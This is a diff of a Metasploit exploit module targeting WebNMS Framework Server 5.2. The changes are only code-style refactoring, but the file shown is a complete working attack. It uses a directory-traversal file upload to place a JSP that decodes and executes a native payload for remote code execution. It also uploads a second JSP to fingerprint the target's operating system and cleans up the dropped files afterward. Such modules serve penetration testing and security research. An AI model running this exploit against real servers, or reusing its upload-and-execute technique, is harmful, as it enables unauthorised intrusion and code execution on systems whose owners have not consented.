@@ -13,81 +13,87 @@ class MetasploitModule < Msf::Exploit::Remote
13
13
include Msf ::Exploit ::EXE
14
14
15
15
def initialize ( info = { } )
16
- super ( update_info ( info ,
17
- 'Name' => 'WebNMS Framework Server Arbitrary File Upload' ,
18
- 'Description' => %q{
16
+ super (
17
+ update_info (
18
+ info ,
19
+ 'Name' => 'WebNMS Framework Server Arbitrary File Upload' ,
20
+ 'Description' => %q(
19
21
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
20
22
unauthenticated user to upload text files by using a directory traversal attack
21
23
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
22
24
executes a malicious payload, achieving code execution under the user which the
23
25
WebNMS server is running.
24
26
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
25
27
Windows and Linux.
26
- } ,
27
- 'Author' =>
28
- [
29
- 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
30
- ] ,
31
- 'License' => MSF_LICENSE ,
32
- 'References' =>
33
- [
34
- [ 'URL' , 'https://blogs.securiteam.com/index.php/archives/2712' ]
35
- ] ,
36
- 'DefaultOptions' => { 'WfsDelay' => 15 } ,
37
- 'Privileged' => false ,
38
- 'Platform' => %w{ linux win } ,
39
- 'Targets' =>
40
- [
41
- [ 'Automatic' , { } ] ,
42
- [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux' ,
43
- {
44
- 'Platform' => 'linux' ,
45
- 'Arch' => ARCH_X86
46
- }
28
+ ) ,
29
+ 'Author' =>
30
+ [
31
+ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
47
32
] ,
48
- [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows' ,
49
- {
50
- 'Platform' => 'win' ,
51
- 'Arch' => ARCH_X86
52
- }
53
- ]
54
- ] ,
55
- 'DefaultTarget' => 0 ,
56
- 'DisclosureDate' => 'Jul 4 2016' ) )
33
+ 'License' => MSF_LICENSE ,
34
+ 'References' =>
35
+ [
36
+ [ 'URL' , 'https://blogs.securiteam.com/index.php/archives/2712' ]
37
+ ] ,
38
+ 'DefaultOptions' => { 'WfsDelay' => 15 } ,
39
+ 'Privileged' => false ,
40
+ 'Platform' => %w( linux win ) ,
41
+ 'Targets' =>
42
+ [
43
+ [ 'Automatic' , { } ] ,
44
+ [
45
+ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux' ,
46
+ {
47
+ 'Platform' => 'linux' ,
48
+ 'Arch' => ARCH_X86
49
+ }
50
+ ] ,
51
+ [
52
+ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows' ,
53
+ {
54
+ 'Platform' => 'win' ,
55
+ 'Arch' => ARCH_X86
56
+ }
57
+ ]
58
+ ] ,
59
+ 'DefaultTarget' => 0 ,
60
+ 'DisclosureDate' => 'Jul 4 2016'
61
+ )
62
+ )
57
63
58
64
register_options (
59
65
[
60
66
OptPort . new ( 'RPORT' , [ true , 'The target port' , 9090 ] ) ,
61
- OptString . new ( 'TARGETURI' , [ true , "WebNMS path" , '/' ] )
62
- ] , self . class )
67
+ OptString . new ( 'TARGETURI' , [ true , "WebNMS path" , '/' ] )
68
+ ] ,
69
+ self . class
70
+ )
63
71
end
64
72
65
-
66
73
def check
67
- res = send_request_cgi ( {
74
+ res = send_request_cgi (
68
75
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
69
76
'method' => 'GET'
70
- } )
77
+ )
71
78
if res && res . code == 405
72
79
return Exploit ::CheckCode ::Detected
73
80
else
74
81
return Exploit ::CheckCode ::Unknown
75
82
end
76
83
end
77
84
78
-
79
85
def upload_payload ( payload , is_exploit )
80
86
jsp_name = 'WebStart-' + rand_text_alpha ( rand ( 8 ) + 3 ) + '.jsp'
81
87
if is_exploit
82
88
print_status ( "#{ peer } - Uploading payload..." )
83
89
end
84
- res = send_request_cgi ( {
90
+ res = send_request_cgi (
85
91
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'servlets' , 'FileUploadServlet' ) ,
86
92
'method' => 'POST' ,
87
93
'data' => payload . to_s ,
88
94
'ctype' => 'text/html' ,
89
95
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
90
- } )
96
+ )
91
97
92
98
if res && res . code == 200 && res . body . to_s =~ /Successfully written polleddata file/
93
99
if is_exploit
@@ -99,39 +105,37 @@ def upload_payload(payload, is_exploit)
99
105
end
100
106
end
101
107
102
-
103
108
def pick_target
104
109
return target if target . name != 'Automatic'
105
110
106
111
print_status ( "#{ peer } - Determining target" )
107
- os_finder_payload = %Q {<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
112
+ os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
108
113
jsp_name = upload_payload ( os_finder_payload , false )
109
114
110
- res = send_request_cgi ( {
115
+ res = send_request_cgi (
111
116
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
112
117
'method' => 'GET'
113
- } )
118
+ )
114
119
115
120
if res && res . code == 200
116
121
register_files_for_cleanup ( 'jsp/' + jsp_name )
117
- if res . body . to_s =~ / Linux/
122
+ if res . body . include? " Linux"
118
123
return targets [ 1 ]
119
- elsif res . body . to_s =~ / Windows/
124
+ elsif res . body . include? " Windows"
120
125
return targets [ 2 ]
121
126
end
122
127
end
123
128
124
129
return nil
125
130
end
126
131
127
-
128
132
def generate_jsp_payload
129
- opts = { : arch => @my_target . arch , : platform => @my_target . platform }
133
+ opts = { arch : @my_target . arch , platform : @my_target . platform }
130
134
payload = exploit_regenerate_payload ( @my_target . platform , @my_target . arch )
131
135
exe = generate_payload_exe ( opts )
132
136
base64_exe = Rex ::Text . encode_base64 ( exe )
133
137
134
- native_payload_name = rand_text_alpha ( rand ( 6 ) + 3 )
138
+ native_payload_name = rand_text_alpha ( rand ( 6 ) + 3 )
135
139
ext = ( @my_target [ 'Platform' ] == 'win' ) ? '.exe' : '.bin'
136
140
137
141
var_raw = rand_text_alpha ( rand ( 8 ) + 3 )
@@ -144,13 +148,13 @@ def generate_jsp_payload
144
148
145
149
if @my_target [ 'Platform' ] == 'linux'
146
150
var_proc1 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
147
- chmod = %Q |
151
+ chmod = %|
148
152
Process #{ var_proc1 } = Runtime.getRuntime().exec("chmod 777 " + #{ var_path } );
149
153
Thread.sleep(200);
150
154
|
151
155
152
156
var_proc3 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
153
- cleanup = %Q |
157
+ cleanup = %|
154
158
Thread.sleep(200);
155
159
Process #{ var_proc3 } = Runtime.getRuntime().exec("rm " + #{ var_path } );
156
160
|
@@ -159,7 +163,7 @@ def generate_jsp_payload
159
163
cleanup = ''
160
164
end
161
165
162
- jsp = %Q |
166
+ jsp = %|
163
167
<%@page import="java.io.*"%>
164
168
<%@page import="sun.misc.BASE64Decoder"%>
165
169
<%
@@ -182,16 +186,10 @@ def generate_jsp_payload
182
186
}
183
187
%>
184
188
|
185
-
186
- jsp = jsp . gsub ( /\n / , '' )
187
- jsp = jsp . gsub ( /\t / , '' )
188
- jsp = jsp . gsub ( /\x0d \x0a / , "" )
189
- jsp = jsp . gsub ( /\x0a / , "" )
190
-
189
+ jsp . delete! ( "\n \r \t " )
191
190
return jsp
192
191
end
193
192
194
-
195
193
def exploit
196
194
@my_target = pick_target
197
195
if @my_target . nil?
@@ -209,16 +207,16 @@ def exploit
209
207
210
208
jsp_payload = generate_jsp_payload
211
209
jsp_name = upload_payload ( jsp_payload , true )
212
- if jsp_name == nil
210
+ if jsp_name . nil?
213
211
fail_with ( Failure ::Unknown , "#{ peer } - Payload upload failed" )
214
212
else
215
213
register_files_for_cleanup ( 'jsp/' + jsp_name )
216
214
end
217
215
218
216
print_status ( "#{ peer } - Executing payload..." )
219
- send_request_cgi ( {
217
+ send_request_cgi (
220
218
'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , jsp_name ) ,
221
219
'method' => 'GET'
222
- } )
220
+ )
223
221
end
224
222
end
0 commit comments